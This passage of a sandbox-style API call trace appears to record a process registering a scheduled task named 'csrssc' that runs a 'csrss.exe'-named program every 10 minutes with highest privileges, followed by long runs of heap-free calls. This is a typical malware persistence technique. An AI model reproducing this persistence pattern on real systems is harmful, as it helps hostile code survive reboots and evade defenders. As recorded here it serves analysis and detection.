(lpStart=" ", wMatch=0x64) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0058.878] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0058.878] IUnknown:Release (This=0x3e66a0) returned 0x1 [0058.878] IUnknown:Release (This=0x3e7ec0) returned 0x1 [0058.878] ITaskDefinition:get_Triggers (in: This=0x3e7e00, ppTriggers=0x21ca00 | out: ppTriggers=0x21ca00*=0x3e7f40) returned 0x0 [0058.878] ITriggerCollection:Create (in: This=0x3e7f40, Type=1, ppTrigger=0x21c9f8 | out: ppTrigger=0x21c9f8*=0x3e6710) returned 0x0 [0058.879] lstrlenW (lpString="10") returned 2 [0058.879] _vsnwprintf (in: _Buffer=0x21c980, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x21c978 | out: _Buffer="PT10M") returned 5 [0058.879] ITrigger:get_Repetition (in: This=0x3e6710, ppRepeat=0x21c9f0 | out: ppRepeat=0x21c9f0*=0x3e67a0) returned 0x0 [0058.879] IRepetitionPattern:put_Interval (This=0x3e67a0, Interval="PT10M") returned 0x0 [0058.879] IUnknown:Release (This=0x3e67a0) returned 0x1 [0058.879] _vsnwprintf (in: _Buffer=0x21c940, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x21c918 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0058.879] ITrigger:put_StartBoundary (This=0x3e6710, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0058.879] lstrlenW (lpString="") returned 0 [0058.879] lstrlenW (lpString="") returned 0 [0058.879] lstrlenW (lpString="") returned 0 [0058.879] lstrlenW (lpString="") returned 0 [0058.879] IUnknown:Release (This=0x3e6710) returned 0x1 [0058.879] IUnknown:Release (This=0x3e7f40) returned 0x1 [0058.880] ITaskDefinition:get_Settings (in: This=0x3e7e00, ppSettings=0x21cea0 | out: ppSettings=0x21cea0*=0x3e6480) returned 0x0 [0058.880] lstrlenW (lpString="") returned 0 [0058.880] IUnknown:Release (This=0x3e6480) returned 0x1 [0058.880] GetLocalTime (in: lpSystemTime=0x21cd58 | out: lpSystemTime=0x21cd58*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2b, wMilliseconds=0x204)) [0058.880] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0058.880] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0058.880] GetUserNameW (in: lpBuffer=0x21cd80, pcbBuffer=0x21cd68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x21cd68) returned 1 [0058.881] ITaskDefinition:get_RegistrationInfo (in: This=0x3e7e00, ppRegistrationInfo=0x21cd50 | out: ppRegistrationInfo=0x21cd50*=0x3e63c0) returned 0x0 [0058.881] IRegistrationInfo:put_Author (This=0x3e63c0, Author="") returned 0x0 [0058.881] _vsnwprintf (in: _Buffer=0x21cd80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x21cd18 | out: _Buffer="2023-09-19T17:16:43") returned 19 [0058.881] IRegistrationInfo:put_Date (This=0x3e63c0, Date="") returned 0x0 [0058.881] IUnknown:Release (This=0x3e63c0) returned 0x1 [0058.882] malloc (_Size=0x18) returned 0x3e6800 [0058.882] free (_Block=0x3e6800) [0058.882] lstrlenW (lpString="") returned 0 [0058.882] ITaskDefinition:get_Principal (in: This=0x3e7e00, ppPrincipal=0x21cf70 | out: ppPrincipal=0x21cf70*=0x3e65f0) returned 0x0 [0058.883] IPrincipal:put_RunLevel (This=0x3e65f0, RunLevel=1) returned 0x0 [0058.883] IUnknown:Release (This=0x3e65f0) returned 0x1 [0058.883] malloc (_Size=0x18) returned 0x3e6800 [0058.883] ITaskFolder:RegisterTaskDefinition (in: This=0x3e7db0, Path="csrssc", pDefinition=0x3e7e00, flags=6, UserId=0x21cff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21ef00, varVal2=0xfe), LogonType=3, sddl=0x21d010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x21cf10 | out: ppTask=0x21cf10*=0x3e69a0) returned 0x0 [0058.961] free (_Block=0x3e6800) [0058.961] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.961] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0058.961] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0058.961] GetProcessHeap () returned 0x50000 [0058.961] GetProcessHeap () returned 0x50000 [0058.961] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d760) returned 1 [0058.961] GetProcessHeap () returned 0x50000 [0058.961] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d760) returned 0xc [0058.961] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d760 | out: hHeap=0x50000) returned 1 [0058.961] GetProcessHeap () returned 0x50000 [0058.961] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x82) returned 0x89da0 [0058.961] _vsnwprintf (in: _Buffer=0x21d650, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x21ceb8 | out: _Buffer="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n") returned 68 [0058.961] _fileno (_File=0x7feffe22ab0) returned -2 [0058.961] _errno () returned 0x3e4bb0 [0058.961] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0058.962] SetLastError (dwErrCode=0x6) [0058.962] lstrlenW (lpString="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n") returned 68 [0058.962] GetConsoleOutputCP () returned 0x0 [0058.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0058.962] GetConsoleOutputCP () returned 0x0 [0058.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0xff6d1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"csrssc\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0058.962] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 68 [0058.962] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0058.962] IUnknown:Release (This=0x3e69a0) returned 0x0 [0058.962] TaskScheduler:IUnknown:Release (This=0x3e7e00) returned 0x0 [0058.963] TaskScheduler:IUnknown:Release (This=0x3e7db0) returned 0x0 [0058.963] TaskScheduler:IUnknown:Release (This=0x29dee0) returned 0x1 [0058.963] lstrlenW (lpString="") returned 0 [0058.963] lstrlenW (lpString="10") returned 2 [0058.963] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c4b0) returned 1 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c4b0) returned 0x1fc [0058.963] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c4b0 | out: hHeap=0x50000) returned 1 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65550) returned 1 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65550) returned 0x6 [0058.963] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65550 | out: hHeap=0x50000) returned 1 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d680) returned 1 [0058.963] GetProcessHeap () returned 0x50000 [0058.963] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d680) returned 0x16 [0058.964] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d680 | out: hHeap=0x50000) returned 1 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d660) returned 1 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d660) returned 0x18 [0058.964] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d660 | out: hHeap=0x50000) returned 1 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cf30) returned 1 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cf30) returned 0x20 [0058.964] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cf30 | out: hHeap=0x50000) returned 1 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c150) returned 1 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c150) returned 0xa0 [0058.964] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c150 | out: hHeap=0x50000) returned 1 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] GetProcessHeap () returned 0x50000 [0058.964] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbd0) returned 1 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bbd0) returned 0x18 [0058.965] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbd0 | out: hHeap=0x50000) returned 1 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc90) returned 1 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cc90) returned 0x20 [0058.965] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc90 | out: hHeap=0x50000) returned 1 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3b0) returned 1 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c3b0) returned 0x66 [0058.965] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3b0 | out: hHeap=0x50000) returned 1 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6a0) returned 1 [0058.965] GetProcessHeap () returned 0x50000 [0058.965] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d6a0) returned 0x18 [0058.965] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6a0 | out: hHeap=0x50000) returned 1 [0058.965] GetProcessHeap () returned 0x50000 [0058.966] GetProcessHeap () returned 0x50000 [0058.966] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc60) returned 1 [0058.966] GetProcessHeap () returned 0x50000 [0058.966] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cc60) returned 0x20 [0058.966] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc60 | out: hHeap=0x50000) returned 1 [0058.966] GetProcessHeap () returned 0x50000 [0058.966] GetProcessHeap () returned 0x50000 [0058.966] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6de10) returned 1 [0058.966] GetProcessHeap () returned 0x50000 [0058.966] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6de10) returned 0x68 [0058.966] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6de10 | out: hHeap=0x50000) returned 1 [0058.966] GetProcessHeap () returned 0x50000 [0058.966] GetProcessHeap () returned 0x50000 [0058.966] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d640) returned 1 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d640) returned 0x18 [0058.967] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d640 | out: hHeap=0x50000) returned 1 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc30) returned 1 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cc30) returned 0x20 [0058.967] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc30 | out: hHeap=0x50000) returned 1 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c490) returned 1 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c490) returned 0xe [0058.967] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c490 | out: hHeap=0x50000) returned 1 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] GetProcessHeap () returned 0x50000 [0058.967] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c470) returned 1 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c470) returned 0x18 [0058.968] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c470 | out: hHeap=0x50000) returned 1 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65e60) returned 1 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65e60) returned 0x20 [0058.968] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65e60 | out: hHeap=0x50000) returned 1 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bd50) returned 1 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bd50) returned 0x208 [0058.968] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bd50 | out: hHeap=0x50000) returned 1 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] GetProcessHeap () returned 0x50000 [0058.968] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbb0) returned 1 [0058.968] GetProcessHeap () returned 0x50000 [0058.969] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bbb0) returned 0x18 [0058.969] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbb0 | out: hHeap=0x50000) returned 1 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d70) returned 1 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d70) returned 0x20 [0058.969] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d70 | out: hHeap=0x50000) returned 1 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d400) returned 1 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d400) returned 0x200 [0058.969] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d400 | out: hHeap=0x50000) returned 1 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbf0) returned 1 [0058.969] GetProcessHeap () returned 0x50000 [0058.969] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bbf0) returned 0x18 [0058.969] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbf0 | out: hHeap=0x50000) returned 1 [0058.970] GetProcessHeap () returned 0x50000 [0058.970] GetProcessHeap () returned 0x50000 [0058.970] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65ce0) returned 1 [0058.970] GetProcessHeap () returned 0x50000 [0058.970] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65ce0) returned 0x20 [0058.970] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65ce0 | out: hHeap=0x50000) returned 1 [0058.970] GetProcessHeap () returned 0x50000 [0058.970] GetProcessHeap () returned 0x50000 [0058.970] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c360) returned 1 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c360) returned 0x14 [0058.971] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c360 | out: hHeap=0x50000) returned 1 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c340) returned 1 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c340) returned 0x18 [0058.971] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c340 | out: hHeap=0x50000) returned 1 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65c20) returned 1 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65c20) returned 0x20 [0058.971] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65c20 | out: hHeap=0x50000) returned 1 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c380) returned 1 [0058.971] GetProcessHeap () returned 0x50000 [0058.971] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c380) returned 0x16 [0058.972] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c380 | out: hHeap=0x50000) returned 1 [0058.972] GetProcessHeap () returned 0x50000 [0058.972] GetProcessHeap () returned 0x50000 [0058.972] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c200) returned 1 [0058.972] GetProcessHeap () returned 0x50000 [0058.972] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c200) returned 0x18 [0058.972] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c200 | out: hHeap=0x50000) returned 1 [0058.972] GetProcessHeap () returned 0x50000 [0058.972] GetProcessHeap () returned 0x50000 [0058.972] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65bf0) returned 1 [0058.972] GetProcessHeap () returned 0x50000 [0058.972] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65bf0) returned 0x20 [0058.972] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65bf0 | out: hHeap=0x50000) returned 1 [0058.972] GetProcessHeap () returned 0x50000 [0058.972] GetProcessHeap () returned 0x50000 [0058.972] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb30) returned 1 [0058.973] GetProcessHeap () returned 0x50000 [0058.973] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bb30) returned 0x2 [0058.973] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bb30 | out: hHeap=0x50000) returned 1 [0058.973] GetProcessHeap () returned 0x50000 [0058.973] GetProcessHeap () returned 0x50000 [0058.973] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65a40) returned 1 [0058.973] GetProcessHeap () returned 0x50000 [0058.973] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65a40) returned 0x20 [0058.973] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65a40 | out: hHeap=0x50000) returned 1 [0058.973] GetProcessHeap () returned 0x50000 [0058.973] GetProcessHeap () returned 0x50000 [0058.973] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65a70) returned 1 [0058.973] GetProcessHeap () returned 0x50000 [0058.973] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65a70) returned 0x20 [0058.973] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65a70 | out: hHeap=0x50000) returned 1 [0058.973] GetProcessHeap () returned 0x50000 [0058.974] GetProcessHeap () returned 0x50000 [0058.974] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65aa0) returned 1 [0058.974] GetProcessHeap () returned 0x50000 [0058.974] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65aa0) returned 0x20 [0058.974] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65aa0 | out: hHeap=0x50000) returned 1 [0058.974] GetProcessHeap () returned 0x50000 [0058.974] GetProcessHeap () returned 0x50000 [0058.974] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65ad0) returned 1 [0058.974] GetProcessHeap () returned 0x50000 [0058.974] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65ad0) returned 0x20 [0058.974] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65ad0 | out: hHeap=0x50000) returned 1 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ccc0) returned 1 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ccc0) returned 0x20 [0058.975] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ccc0 | out: hHeap=0x50000) returned 1 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d7a0) returned 1 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d7a0) returned 0xa [0058.975] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d7a0 | out: hHeap=0x50000) returned 1 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ccf0) returned 1 [0058.975] GetProcessHeap () returned 0x50000 [0058.975] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ccf0) returned 0x20 [0058.976] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ccf0 | out: hHeap=0x50000) returned 1 [0058.976] GetProcessHeap () returned 0x50000 [0058.976] GetProcessHeap () returned 0x50000 [0058.976] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x67bd0) returned 1 [0058.976] GetProcessHeap () returned 0x50000 [0058.976] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x67bd0) returned 0x30 [0058.977] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x67bd0 | out: hHeap=0x50000) returned 1 [0058.977] GetProcessHeap () returned 0x50000 [0058.977] GetProcessHeap () returned 0x50000 [0058.977] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd20) returned 1 [0058.977] GetProcessHeap () returned 0x50000 [0058.977] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cd20) returned 0x20 [0058.978] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd20 | out: hHeap=0x50000) returned 1 [0058.978] GetProcessHeap () returned 0x50000 [0058.978] GetProcessHeap () returned 0x50000 [0058.978] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x67c10) returned 1 [0058.978] GetProcessHeap () returned 0x50000 [0058.978] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x67c10) returned 0x30 [0058.979] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x67c10 | out: hHeap=0x50000) returned 1 [0058.979] GetProcessHeap () returned 0x50000 [0058.979] GetProcessHeap () returned 0x50000 [0058.979] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cf00) returned 1 [0058.979] GetProcessHeap () returned 0x50000 [0058.979] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cf00) returned 0x20 [0058.980] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cf00 | out: hHeap=0x50000) returned 1 [0058.980] GetProcessHeap () returned 0x50000 [0058.980] GetProcessHeap () returned 0x50000 [0058.980] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6c0) returned 1 [0058.980] GetProcessHeap () returned 0x50000 [0058.980] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d6c0) returned 0x10 [0058.980] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6c0 | out: hHeap=0x50000) returned 1 [0058.980] GetProcessHeap () returned 0x50000 [0058.980] GetProcessHeap () returned 0x50000 [0058.980] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ced0) returned 1 [0058.980] GetProcessHeap () returned 0x50000 [0058.980] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ced0) returned 0x20 [0058.981] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ced0 | out: hHeap=0x50000) returned 1 [0058.981] GetProcessHeap () returned 0x50000 [0058.981] GetProcessHeap () returned 0x50000 [0058.981] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6e0) returned 1 [0058.981] GetProcessHeap () returned 0x50000 [0058.981] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d6e0) returned 0x10 [0058.981] HeapFree (in: hHeap=0x50000, 